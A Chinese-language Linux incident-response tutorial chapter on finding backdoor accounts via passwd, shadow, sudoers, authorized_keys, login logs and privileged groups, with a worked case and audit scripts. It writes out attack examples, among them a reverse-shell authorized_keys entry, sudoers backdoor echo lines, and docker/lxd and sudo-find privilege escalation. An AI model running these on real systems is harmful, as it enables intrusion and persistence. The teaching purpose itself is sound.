Linux应急响应 - 04 账户安全排查

04-账户安全排查 (Account Security Investigation)

账户是攻击者持久化的核心目标。无论是创建后门用户、植入 SSH 公钥,还是修改 sudoers 配置,最终目的都是获得稳定的访问通道。本节系统性地讲解账户层面的排查方法。

前置知识01-系统基础与关键目录

关联章节10-SSH暴力破解与未授权访问 | 16-SSH-authorized_keys后门


1. /etc/passwd 异常检测

1.1 passwd 文件格式回顾

每行格式:用户名:密码占位:UID:GID:描述:家目录:登录Shell

示例:

1
2
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
字段 位置 说明 排查要点
用户名 第1字段 登录名 伪装名称检测
密码占位 第2字段 x 表示密码在 shadow 非 x 值需警惕
UID 第3字段 用户ID UID=0 即 root 权限
GID 第4字段 主组ID 异常组归属
描述 第5字段 GECOS 信息 空或伪造
家目录 第6字段 用户主目录 异常路径
Shell 第7字段 登录 Shell 是否可交互

1.2 UID 0 账户排查

原理:Linux 中 UID=0 的用户拥有完全的 root 权限,正常系统中只有 root 一个 UID 0 用户

排查命令

1
2
# 查找所有 UID 为 0 的用户
awk -F: '$3==0 {print $1}' /etc/passwd

正常输出:应该只有 root

异常示例

1
2
3
root
toor
admin

如果出现 root 以外的 UID 0 用户,基本可以确认是后门账户

进一步排查

1
2
3
4
5
6
# 查看该用户的详细信息
id toor
# 查看该用户的登录历史
last toor
# 查看该用户的家目录内容
ls -la /home/toor/ 2>/dev/null || ls -la /root/

1.3 异常 Shell 排查

原理:大多数系统用户(daemon、www-data 等)不需要交互式 shell,它们的 shell 应该是 /usr/sbin/nologin/bin/false

排查命令

1
2
# 列出所有拥有可登录 shell 的用户
awk -F: '$7~/bash|sh|zsh|fish|ksh|csh/ {print $1":"$3":"$6":"$7}' /etc/passwd

可登录 Shell 列表(需要关注的):

/bin/bash

/bin/sh

/bin/zsh

/bin/fish

/bin/ksh

/bin/csh/bin/tcsh

不可登录 Shell 列表(安全的):

/usr/sbin/nologin

/bin/false

/sbin/nologin(CentOS)

正常拥有 bash 的用户(参考,具体视系统而定):

1
2
root - UID 0
实际管理员账户 - 如 admin, ubuntu, centos

可疑情况

1
2
3
4
# 查看系统有效的 shell 列表
cat /etc/shells
# 对比:这些用户是否应该有登录 shell?
awk -F: '$7!="/usr/sbin/nologin" && $7!="/bin/false" && $7!="/sbin/nologin" {print $1, $7}' /etc/passwd

1.4 用户名伪装检测

攻击者常用的伪装手法:

伪装类型 示例 排查方法
类似 root r00t, ro0t, root2 人工审查
类似系统用户 sysupdate, systemd-update, kworker 对比默认用户列表
末尾空格 root , admin awk -F: '$1~/\s/' /etc/passwd
开头点号 .hidden awk -F: '$1~/^\./' /etc/passwd
超长用户名 包含大量空格使其在 ps 中看不见 检查长度
模仿服务 mysql1, nginx2, redis 对比 rpm/dpkg 创建的用户

全面检测脚本

1
2
3
4
5
6
7
8
# 检测用户名中包含空格、特殊字符
awk -F: '{if($1 ~ /:space:/ || $1 ~ /^\./) print "可疑用户名: "$1}' /etc/passwd

# 检测与常见系统用户相似的名称
awk -F: '{
if($1 ~ /^r[o0]{2}t$|^adm[i1]n$|^sys(update|backup|monitor)$/)
print "疑似伪装用户: "$0
}' /etc/passwd

1.5 对比系统默认用户列表

Ubuntu/Debian 方法

1
2
3
4
5
6
# 列出由软件包创建的用户(正常用户)
dpkg -S /etc/passwd 2>/dev/null

# 对比方法:获取所有由包管理器安装的用户
# 系统默认用户通常 UID < 1000(普通用户 UID >= 1000)
awk -F: '$3>=1000 && $3!=65534 {print $1, $3, $7}' /etc/passwd

CentOS/RHEL 方法

1
2
# 同样关注 UID >= 1000 的用户
awk -F: '$3>=1000 && $3!=65534 {print $1, $3, $7}' /etc/passwd

关键排查逻辑:新增的 UID >= 1000 且有登录 shell 的用户,如果不是管理员主动创建的,很可能是后门账户

2. /etc/shadow 异常检测

2.1 shadow 文件格式

格式:用户名:密码哈希:最后修改日期:最小天数:最大天数:警告天数:过期天数:账户过期日:保留

字段 说明 示例
$1 用户名 root
$2 密码哈希 $6$salt$hash...
$3 最后修改日期(从1970.1.1起的天数) 19500
$4 密码最小使用天数 0
$5 密码最大使用天数 99999
$6 密码过期警告天数 7
$7 密码过期后宽限天数 (空)
$8 账户过期日 (空)

密码哈希格式

1
2
3
4
5
$算ID$盐$哈希值
$1$ MD5(极不安全,已淘汰)
$5$ SHA-256
$6$ SHA-512(当前主流)
$y$ → yescrypt(较新发行版如 Ubuntu 22.04+)

2.2 空密码检测

原理:空密码用户可以直接无密码登录(如果 PAM 允许),这是严重的安全隐患

排查命令

1
2
3
4
5
6
7
8
9
10
11
12
# 检测空密码用户(第二字段为空)
awk -F: '$2=="" {print $1" 存在空密码!"}' /etc/shadow

# 检测密码字段为空或为 * 或 ! 或 !! 的用户
awk -F: '{
if ($2 == "") print $1" -> 空密码(危险!)"
else if ($2 == "*") print $1" -> 禁用密码登录"
else if ($2 == "!") print $1" -> 锁定账户"
else if ($2 == "!!") print $1" -> 从未设置密码"
else if ($2 ~ /^\$/) print $1" -> 有密码哈希"
else print $1" -> 异常密码字段: "$2
}' /etc/shadow

注意区分

空字符串 "" → 空密码,可直接登录(危险)

* → 密码登录被禁用(正常,系统用户常见)

!!! → 账户被锁定或从未设置密码(正常)

!$6$... → 密码前加了 ! 表示账户被锁定但密码仍在

2.3 密码哈希分析

可疑哈希特征

1
2
3
4
5
6
7
# 查找使用弱哈希算法(MD5)的用户
awk -F: '$2~/^\$1\$/ {print $1" 使用 MD5 哈希(弱)"}' /etc/shadow

# 查找密码哈希格式异常的用户
awk -F: '$2!="" && $2!="*" && $2!="!" && $2!="!!" && $2!~/^\$[156y]\$/ && $2!~/^!?\$[156y]\$/ {
print $1" 密码哈希格式异常: "$2
}' /etc/shadow

已知弱密码检测(如果拿到了哈希):

1
2
3
4
5
# 使用 john the ripper 进行弱密码检测(需安装)
john --wordlist=/usr/share/wordlists/rockyou.txt /etc/shadow

# 使用 hashcat(GPU 加速)
hashcat -m 1800 shadow_hashes.txt wordlist.txt

2.4 密码修改时间分析

原理:shadow 第 3 字段记录密码最后修改时间(距 1970-01-01 的天数),异常的修改时间可能表明攻击者修改了密码

排查命令

1
2
3
4
5
6
7
# 将天数转换为可读日期,找出最近修改密码的用户
awk -F: '$3!="" && $3!="*" {
cmd="date -d @$(("$3"*86400)) +%Y-%m-%d 2>/dev/null"
cmd | getline date
close(cmd)
if($3 > 0) printf "%-20s 密码修改日期: %s (第%s天)\n", $1, date, $3
}' /etc/shadow

macOS/BSD 系统上用 GNU date 或 Python 辅助转换

1
2
3
4
5
# 通用方法:使用 Python 转换
awk -F: '$3!="" && $3!="*" && $3>0 {print $1, $3}' /etc/shadow | while read user days; do
date=$(python3 -c "import datetime; print(datetime.date.fromtimestamp($days*86400))" 2>/dev/null)
echo "$user -> 密码修改日期: $date"
done

关注重点:密码修改时间集中在某个异常时间段(如凌晨 3 点、节假日),可能是攻击者批量操作

2.5 账户锁定状态排查

1
2
3
4
5
6
7
8
9
10
# 查看所有用户的锁定状态
# Ubuntu/Debian
for user in $(awk -F: '$7~/bash|sh/ {print $1}' /etc/passwd); do
status=$(passwd -S $user 2>/dev/null | awk '{print $2}')
echo "$user: $status"
done
# P = 有密码, L = 锁定, NP = 无密码

# 查看账户过期信息
chage -l username

3. sudoers 审计

3.1 sudoers 文件体系

文件/目录 说明
/etc/sudoers 主配置文件
/etc/sudoers.d/ 附加配置目录(文件会被自动包含)
/etc/sudoers.d/README 说明文件(通常无害)

注意/etc/sudoers.d/ 下的文件同样具有完全的 sudoers 配置能力,攻击者经常在这里藏后门

3.2 排查命令

1
2
3
4
5
6
7
8
9
10
11
12
# 查看主 sudoers 文件
cat /etc/sudoers

# 查看 sudoers.d 下的所有文件
ls -la /etc/sudoers.d/
cat /etc/sudoers.d/*

# 使用 visudo 检查语法(不会修改文件)
visudo -c

# 查看当前用户的 sudo 权限
sudo -l

3.3 危险配置识别

NOPASSWD 配置

1
2
# 查找所有 NOPASSWD 配置
grep -rn "NOPASSWD" /etc/sudoers /etc/sudoers.d/ 2>/dev/null

危险配置示例及分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 极其危险:用户无需密码即可执行任何命令
hacker ALL=(ALL) NOPASSWD: ALL

# 危险:可以用 sudo 编辑任何文件(包括 /etc/shadow)
user1 ALL=(ALL) NOPASSWD: /usr/bin/vi, /usr/bin/vim

# 危险:可以用 sudo 执行任意脚本
user2 ALL=(ALL) NOPASSWD: /bin/bash, /bin/sh

# 隐蔽的后门:允许以其他用户身份运行命令
user3 ALL=(user4) NOPASSWD: ALL

# 更隐蔽:使用 env_keep 保留 LD_PRELOAD
Defaults env_keep += "LD_PRELOAD"

3.4 攻击者常用的 sudoers 后门写法

方式1:直接添加 NOPASSWD ALL

1
2
3
echo "backdoor ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
# 或更隐蔽地放在 sudoers.d 下
echo "backdoor ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers.d/.hidden

方式2:利用 sudoers.d 的隐藏文件

1
2
3
4
# 注意文件名以 . 开头,ls 不加 -a 看不到
ls -la /etc/sudoers.d/
# 检查隐藏文件
find /etc/sudoers.d/ -name ".*" -type f

方式3:修改已有规则

1
2
3
4
# 攻击者可能修改现有的 sudoers 规则,将 PASSWD 改为 NOPASSWD
# 排查:对比文件的修改时间
stat /etc/sudoers
stat /etc/sudoers.d/*

方式4:利用通配符

1
2
3
4
# 看似限制了命令,实际可以提权
user ALL=(ALL) NOPASSWD: /usr/bin/find *
# find 可以通过 -exec 执行任意命令
# sudo find . -exec /bin/bash \;

3.5 完整审计脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
echo "=== sudoers 审计 ==="
echo "[1] 检查 NOPASSWD 配置:"
grep -rn "NOPASSWD" /etc/sudoers /etc/sudoers.d/ 2>/dev/null

echo -e "\n[2] 检查 sudoers.d 隐藏文件:"
find /etc/sudoers.d/ -name ".*" -type f -ls 2>/dev/null

echo -e "\n[3] sudoers.d 文件修改时间:"
ls -la --time=ctime /etc/sudoers /etc/sudoers.d/* 2>/dev/null

echo -e "\n[4] 语法检查:"
visudo -c 2>&1

echo -e "\n[5] 检查 ALL=(ALL) 配置:"
grep -rn "ALL=(ALL)" /etc/sudoers /etc/sudoers.d/ 2>/dev/null

echo -e "\n[6] 检查 env_keep 中的危险变量:"
grep -rn "env_keep" /etc/sudoers /etc/sudoers.d/ 2>/dev/null | grep -i "LD_PRELOAD\|LD_LIBRARY_PATH\|PYTHONPATH"

4. SSH authorized_keys 全面排查

4.1 authorized_keys 文件位置

默认路径~/.ssh/authorized_keys

注意:SSH 配置中可能自定义了路径

1
2
3
# 检查 SSH 配置中的 AuthorizedKeysFile 设置
grep -i "AuthorizedKeysFile" /etc/ssh/sshd_config
# 默认值: .ssh/authorized_keys .ssh/authorized_keys2

排查所有用户

1
2
3
4
5
6
7
8
9
10
11
# 遍历所有用户的 authorized_keys 文件
while IFS=: read -r user _ _ _ _ home shell; do
if "$shell" != */nologin && "$shell" != */false ; then
keyfile="$home/.ssh/authorized_keys"
if [ -f "$keyfile" ]; then
echo "=== $user ($keyfile) ==="
cat "$keyfile"
echo ""
fi
fi
done < /etc/passwd

4.2 authorized_keys 格式与危险选项

标准格式

1
[options] key-type base64-key comment

危险选项分析

选项 说明 危险等级
command="..." 连接时强制执行指定命令 高 - 可用于后门
from="..." 限制来源 IP 低 - 反而是安全措施
no-pty 禁止分配终端
environment="..." 设置环境变量 中 - 可设置 LD_PRELOAD
permit-open="..." 限制端口转发目标
no-agent-forwarding 禁止代理转发

危险 authorized_keys 示例

1
2
3
4
5
6
7
8
9
10
11
# 正常的公钥
ssh-rsa AAAAB3NzaC1yc2EAAA... admin@workstation

# 带命令的后门公钥(连接后自动执行反弹 shell)
command="/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" ssh-rsa AAAAB3NzaC1yc2EAAA...

# 带环境变量的后门
environment="LD_PRELOAD=/tmp/.evil.so" ssh-rsa AAAAB3NzaC1yc2EAAA...

# 无注释(攻击者可能不留 comment)
ssh-rsa AAAAB3NzaC1yc2EAAA...

排查危险选项

1
2
3
4
5
6
7
8
9
10
11
12
13
# 查找带 command= 选项的公钥
find / -name "authorized_keys*" -exec grep -l "command=" {} \; 2>/dev/null

# 查找带 environment= 选项的公钥
find / -name "authorized_keys*" -exec grep -l "environment=" {} \; 2>/dev/null

# 查找没有注释的公钥(可能是攻击者添加的)
find / -name "authorized_keys*" -exec grep -n "^ssh-" {} \; 2>/dev/null | while read line; do
fields=$(echo "$line" | awk '{print NF}')
if [ "$fields" -lt 3 ]; then
echo "无注释的公钥: $line"
fi
done

4.3 权限检查

SSH 对文件权限有严格要求,但攻击者可能故意放宽权限

1
2
3
4
5
6
7
# 检查所有 .ssh 目录和 authorized_keys 的权限
find /home -name ".ssh" -type d -exec ls -ld {} \; 2>/dev/null
find /home -name "authorized_keys" -exec ls -la {} \; 2>/dev/null

# 也检查 root 的
ls -ld /root/.ssh 2>/dev/null
ls -la /root/.ssh/authorized_keys 2>/dev/null

正确权限

.ssh/ 目录:700(drwx——)

authorized_keys600(-rw——-)

所有者必须是对应用户

异常权限示例

1
2
3
4
# 危险:其他用户可读可写
-rw-rw-rw- 1 root root 400 Jan 1 03:00 /root/.ssh/authorized_keys
# 危险:所有者不匹配
-rw------- 1 www-data root 400 Jan 1 03:00 /home/admin/.ssh/authorized_keys

4.4 与合法密钥的区分

1
2
3
4
5
6
7
8
# 提取所有公钥的指纹
find / -name "authorized_keys*" -exec ssh-keygen -l -f {} \; 2>/dev/null

# 与团队的公钥指纹列表对比
# 将合法密钥指纹记录在安全位置,定期对比

# 检查密钥类型(过老的 DSA 密钥可能是攻击者工具生成的)
find / -name "authorized_keys*" -exec grep -c "ssh-dss" {} \; 2>/dev/null

更多详情请参考:16-SSH-authorized_keys后门

5. 登录记录分析

5.1 核心日志文件

文件 说明 查看命令
/var/log/wtmp 成功登录记录(二进制) last
/var/log/btmp 失败登录记录(二进制) lastb
/var/log/lastlog 每个用户最后登录时间(二进制) lastlog
/var/run/utmp 当前登录用户(二进制) who, w
/var/log/auth.log 认证日志(Ubuntu/Debian) cat/grep
/var/log/secure 认证日志(CentOS/RHEL) cat/grep

5.2 last 命令详解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 显示最近的登录记录
last

# 显示特定用户的登录记录
last root

# 显示指定时间范围的登录
last -s 2026-03-01 -t 2026-04-01

# 显示 IP 地址(不截断)
last -i

# 同时显示主机名
last -d

# 显示最近 20 条记录
last -n 20

# 显示系统重启记录
last reboot

# 显示关机记录
last shutdown

输出解读

1
2
3
root     pts/0        192.168.1.100    Thu Mar 28 14:23   still logged in
admin pts/1 10.0.0.50 Thu Mar 28 10:15 - 11:30 (01:15)
root tty1 Wed Mar 27 09:00 - down (08:00)
字段 说明
用户名 登录用户
终端 pts/N=远程, tty=本地控制台
IP/主机名 来源地址
登录时间 开始时间
登出时间 结束时间或 still logged in
持续时间 会话时长

5.3 lastb 命令(失败登录)

1
2
3
4
5
6
7
8
# 查看失败的登录尝试(需要 root 权限)
sudo lastb

# 统计失败登录的来源 IP(暴力破解检测)
sudo lastb | awk '{print $3}' | sort | uniq -c | sort -rn | head -20

# 统计被尝试的用户名
sudo lastb | awk '{print $1}' | sort | uniq -c | sort -rn | head -20

关联章节:大量失败登录通常意味着暴力破解,详见 10-SSH暴力破解与未授权访问

5.4 lastlog 命令

1
2
3
4
5
6
7
8
# 显示所有用户的最后登录时间
lastlog

# 只显示最近登录过的用户(排除 Never logged in)
lastlog | grep -v "Never logged in"

# 查看特定用户
lastlog -u username

排查要点:关注”从未应该登录”的系统用户是否有登录记录

5.5 utmpdump 分析

1
2
3
4
5
6
7
8
# 以可读格式导出 wtmp
utmpdump /var/log/wtmp

# 以可读格式导出 btmp
utmpdump /var/log/btmp

# 输出格式:
# [type] [PID] [terminal] [user] [host] [IP] [timestamp]

type 字段含义

[7] = USER_PROCESS(用户登录)

[8] = DEAD_PROCESS(用户登出)

[2] = BOOT_TIME(系统启动)

[1] = RUN_LVL(运行级别变化)

用途:当 last 命令的输出被篡改时,utmpdump 可以看到更底层的原始数据

5.6 who 和 w 命令

1
2
3
4
5
6
7
8
9
10
11
# 查看当前登录用户
who

# 更详细的信息(包括 CPU 使用、当前命令)
w

# w 命令输出示例:
# 14:30:01 up 5 days, 3:21, 2 users, load average: 0.15, 0.10, 0.08
# USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
# root pts/0 192.168.1.100 14:23 0.00s 0.02s 0.00s w
# hacker pts/1 10.0.0.99 03:00 2:30 0.50s 0.30s python3 -c ...

排查要点

不认识的用户正在登录?

异常的来源 IP?

异常时间的登录(凌晨)?

WHAT 列是否有可疑命令?

5.7 auth.log / secure 日志分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Ubuntu/Debian: /var/log/auth.log
# CentOS/RHEL: /var/log/secure

AUTHLOG="/var/log/auth.log"
[ -f "/var/log/secure" ] && AUTHLOG="/var/log/secure"

# 查找成功的 SSH 登录
grep "Accepted" $AUTHLOG | tail -20

# 查找失败的 SSH 登录
grep "Failed password" $AUTHLOG | tail -20

# 查找使用公钥登录的记录
grep "Accepted publickey" $AUTHLOG

# 查找 su 切换用户的记录
grep "su:" $AUTHLOG

# 查找 sudo 使用记录
grep "sudo:" $AUTHLOG

# 查找新用户创建记录
grep "useradd\|adduser" $AUTHLOG

# 查找密码修改记录
grep "passwd\|chpasswd" $AUTHLOG

# 查找 SSH 密钥被添加的迹象(间接方法)
grep "sshd.*session opened\|Accepted" $AUTHLOG | awk '{print $1,$2,$3,$9,$11}' | sort -u

时间线分析

1
2
3
4
5
# 按小时统计登录尝试(发现暴力破解时间模式)
grep "Failed password" $AUTHLOG | awk '{print $1,$2,substr($3,1,2)":00"}' | sort | uniq -c | sort -rn

# 按来源 IP 统计(找出攻击源)
grep "Failed password" $AUTHLOG | grep -oP 'from \K[\d.]+' | sort | uniq -c | sort -rn | head -20

6. 用户组与权限排查

6.1 特权组检测

需要关注的特权组

组名 能力 危险等级
root root 组 极高
sudo (Ubuntu) 可执行 sudo 极高
wheel (CentOS) 可执行 sudo 极高
docker 可运行 docker(等同 root) 极高
lxd 可运行 lxd(等同 root) 极高
adm 可读系统日志
disk 可直接访问磁盘设备
shadow 可读 /etc/shadow

排查命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 查看特权组的成员
for group in root sudo wheel docker lxd adm disk shadow; do
members=$(grep "^${group}:" /etc/group 2>/dev/null | cut -d: -f4)
if [ -n "$members" ]; then
echo "$group 组成员: $members"
fi
done

# 查看某用户属于哪些组
id username

# 列出所有用户及其组
for user in $(awk -F: '$7~/bash|sh/ {print $1}' /etc/passwd); do
echo "$user: $(id -Gn $user 2>/dev/null)"
done

6.2 Docker 组提权

原理:docker 组的用户可以运行 docker 命令,而 docker 可以挂载宿主机的任意目录

提权方法(攻击者视角):

1
2
3
4
5
6
7
8
# 攻击者如果在 docker 组,可以直接获取 root shell
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# 或者读取 /etc/shadow
docker run -v /etc/shadow:/tmp/shadow --rm alpine cat /tmp/shadow

# 或者写入 authorized_keys
docker run -v /root/.ssh:/tmp/.ssh --rm alpine sh -c 'echo "attacker-key" >> /tmp/.ssh/authorized_keys'

排查

1
2
3
4
5
# 检查哪些非 root 用户在 docker 组
grep "^docker:" /etc/group

# 检查 docker.sock 的权限
ls -la /var/run/docker.sock

6.3 lxd 组提权

原理:类似 docker,lxd 用户可以创建特权容器挂载宿主文件系统

提权方法

1
2
3
4
5
6
7
8
9
# 初始化 lxd(如果未初始化)
lxd init --auto

# 导入镜像并挂载宿主机根目录
lxc init ubuntu:22.04 exploit -c security.privileged=true
lxc config device add exploit host-root disk source=/ path=/mnt/root recursive=true
lxc start exploit
lxc exec exploit -- /bin/bash
# 此时在容器中 /mnt/root 就是宿主机的根目录

排查

1
2
3
grep "^lxd:" /etc/group
# 检查是否有正在运行的 lxd 容器
lxc list 2>/dev/null

6.4 /etc/group 文件审计

1
2
3
4
5
6
7
8
# 查找 GID 为 0 的组
awk -F: '$3==0' /etc/group

# 查找最近添加的组(GID 较大)
awk -F: '$3>=1000' /etc/group

# 查找空组名或异常组名
awk -F: '$1~/:space:|^\./' /etc/group

7. 实战案例

7.1 完整案例:从发现异常登录到追踪后门用户

场景描述:安全设备告警发现服务器 192.168.1.10 在凌晨 3:00 有异常外连行为,需要进行账户层面排查

Step 1:检查当前登录用户

1
2
w
# 输出发现一个未知用户 sysupdate 从 IP 45.xx.xx.xx 登录中

Step 2:排查该用户信息

1
2
3
4
5
6
7
8
9
id sysupdate
# uid=1001(sysupdate) gid=1001(sysupdate) groups=1001(sysupdate),27(sudo)

grep sysupdate /etc/passwd
# sysupdate:x:1001:1001:System Update Service:/home/sysupdate:/bin/bash

# 查看该用户的创建时间
ls -ld /home/sysupdate
# drwxr-xr-x 3 sysupdate sysupdate 4096 Mar 25 02:58 /home/sysupdate

Step 3:检查登录历史

1
2
3
4
last sysupdate
# sysupdate pts/2 45.xx.xx.xx Thu Mar 28 03:00 still logged in
# sysupdate pts/1 45.xx.xx.xx Wed Mar 27 03:15 - 03:45 (00:30)
# sysupdate pts/0 45.xx.xx.xx Tue Mar 26 02:58 - 03:20 (00:22)

Step 4:检查该用户的 SSH 密钥

1
2
cat /home/sysupdate/.ssh/authorized_keys
# ssh-rsa AAAAB3Nza... (无注释,来源不明)

Step 5:检查 sudoers 后门

1
2
cat /etc/sudoers.d/.sysupdate
# sysupdate ALL=(ALL) NOPASSWD: ALL

Step 6:检查是否还有其他后门

1
2
3
4
5
6
7
8
9
10
11
12
# UID 0 检查
awk -F: '$3==0' /etc/passwd
# root
# r00t <- 发现另一个后门!

# 空密码检查
awk -F: '$2==""' /etc/shadow
# (无)

# 检查所有 authorized_keys
find / -name "authorized_keys" -exec ls -la {} \; 2>/dev/null
# 发现 /root/.ssh/authorized_keys 中也被植入了公钥

Step 7:查看入侵时间线

1
2
3
4
grep -E "useradd|adduser|usermod" /var/log/auth.log
# Mar 25 02:55 server useradd: new user: name=sysupdate, UID=1001
# Mar 25 02:56 server usermod: add 'sysupdate' to group 'sudo'
# Mar 25 02:57 server useradd: new user: name=r00t, UID=0

总结发现

后门用户1:sysupdate(UID 1001,sudo 组,NOPASSWD,SSH 公钥)

后门用户2:r00t(UID 0,完全的 root 权限)

root 的 authorized_keys 被植入攻击者公钥

入侵时间:3月25日 02:55

攻击者 IP:45.xx.xx.xx

7.2 一键用户审计脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/bin/bash
# 用户安全审计脚本
# 使用方法: sudo bash user_audit.sh

echo "=========================================="
echo " Linux 用户安全审计脚本"
echo " 执行时间: $(date)"
echo "=========================================="

echo -e "\n[1] UID 为 0 的用户(应只有 root):"
awk -F: '$3==0 {print " "$1" (UID:"$3")"}' /etc/passwd

echo -e "\n[2] 拥有登录 Shell 的用户:"
awk -F: '$7~/bash|sh|zsh|fish/ {printf " %-20s UID:%-6s Shell:%s\n", $1, $3, $7}' /etc/passwd

echo -e "\n[3] 空密码用户:"
result=$(awk -F: '$2=="" {print " "$1}' /etc/shadow 2>/dev/null)
[ -z "$result" ] && echo " (无)" || echo "$result"

echo -e "\n[4] 密码状态异常的用户:"
awk -F: '{
if ($2 == "") printf " %-20s -> 空密码(危险!)\n", $1
}' /etc/shadow 2>/dev/null

echo -e "\n[5] sudoers NOPASSWD 配置:"
result=$(grep -rn "NOPASSWD" /etc/sudoers /etc/sudoers.d/ 2>/dev/null | grep -v "^#")
[ -z "$result" ] && echo " (无)" || echo " $result"

echo -e "\n[6] sudoers.d 隐藏文件:"
result=$(find /etc/sudoers.d/ -name ".*" -type f -ls 2>/dev/null)
[ -z "$result" ] && echo " (无)" || echo " $result"

echo -e "\n[7] SSH authorized_keys 排查:"
while IFS=: read -r user _ _ _ _ home shell; do
if "$shell" != */nologin && "$shell" != */false && "$shell" != */sync ; then
keyfile="$home/.ssh/authorized_keys"
if [ -f "$keyfile" ]; then
count=$(wc -l < "$keyfile")
has_cmd=$(grep -c "command=" "$keyfile" 2>/dev/null)
echo " $user: $keyfile ($count 个密钥, command= 选项: $has_cmd 个)"
fi
fi
done < /etc/passwd

echo -e "\n[8] 特权组成员:"
for group in root sudo wheel docker lxd adm disk shadow; do
members=$(grep "^${group}:" /etc/group 2>/dev/null | cut -d: -f4)
if [ -n "$members" ]; then
echo " $group: $members"
fi
done

echo -e "\n[9] 最近登录记录(最近10条):"
last -n 10 | head -12

echo -e "\n[10] 最近失败登录(最近10条):"
lastb -n 10 2>/dev/null | head -12

echo -e "\n[11] 当前在线用户:"
w

echo -e "\n[12] 最近的用户创建/修改操作:"
AUTHLOG="/var/log/auth.log"
[ -f "/var/log/secure" ] && AUTHLOG="/var/log/secure"
grep -E "useradd|adduser|usermod|userdel|passwd|chpasswd" "$AUTHLOG" 2>/dev/null | tail -20

echo -e "\n=========================================="
echo " 审计完成"
echo "=========================================="

7.3 练习:Docker 实验中发现隐藏的后门账户

实验目标:在提供的 Docker 环境中找出 3 个隐藏的后门账户

实验环境搭建

1
2
# 拉取练习镜像(假设已准备好)
docker run -it --name ir-lab-04 ir-practice:account-backdoor /bin/bash

练习提示

后门1:检查 UID 为 0 的用户

后门2:检查 /etc/sudoers.d/ 下的隐藏文件

后门3:检查所有用户的 authorized_keys 中的 command= 选项

验证清单

[ ] 找到所有后门用户名

[ ] 确定每个后门的创建时间

[ ] 确定攻击者的来源 IP

[ ] 确定攻击者使用的持久化手法

[ ] 清除所有后门(删除用户、密钥、sudoers 配置)

7.4 清除后门的标准操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 1. 强制登出后门用户的所有会话
pkill -u sysupdate
pkill -KILL -u sysupdate

# 2. 锁定账户
usermod -L sysupdate

# 3. 禁用 shell
usermod -s /usr/sbin/nologin sysupdate

# 4. 删除 sudoers 后门
rm /etc/sudoers.d/.sysupdate
visudo -c # 验证语法

# 5. 删除 SSH 公钥后门
# 先备份取证
cp /root/.ssh/authorized_keys /tmp/evidence/
# 手动编辑移除攻击者的公钥(不要直接清空,可能有合法密钥)
vim /root/.ssh/authorized_keys

# 6. 删除后门用户(保留家目录用于取证)
# userdel sysupdate # 不加 -r 保留家目录

# 7. 修改可能被攻击者获取的密码
passwd root

注意:在真实应急响应中,清除操作应在取证完成之后进行。优先保全证据,其次才是清除威胁。

8. 总结与排查流程图

账户安全排查标准流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1. 检查当前在线用户 (w / who)

2. UID 0 用户排查 (awk /etc/passwd)

3. 异常 Shell 用户排查

4. 空密码 / 弱密码检测 (/etc/shadow)

5. sudoers 审计 (含 sudoers.d)

6. SSH authorized_keys 排查

7. 特权组成员排查 (docker/lxd/sudo)

8. 登录记录分析 (last/lastb/auth.log)

9. 时间线汇总,确定入侵路径

关键命令速查

排查项目 命令
UID 0 用户 awk -F: '$3==0' /etc/passwd
可登录 Shell awk -F: '$7~/bash|sh/' /etc/passwd
空密码 awk -F: '$2==""' /etc/shadow
NOPASSWD sudo grep -rn NOPASSWD /etc/sudoers*
SSH 公钥 find / -name authorized_keys -exec cat {} \;
当前登录 w
登录历史 last
失败登录 lastb
用户创建日志 grep useradd /var/log/auth.log

下一步学习05-进程与网络分析


上一章 目录 下一章
03-日志分析基础 Linux应急响应 05-进程与网络分析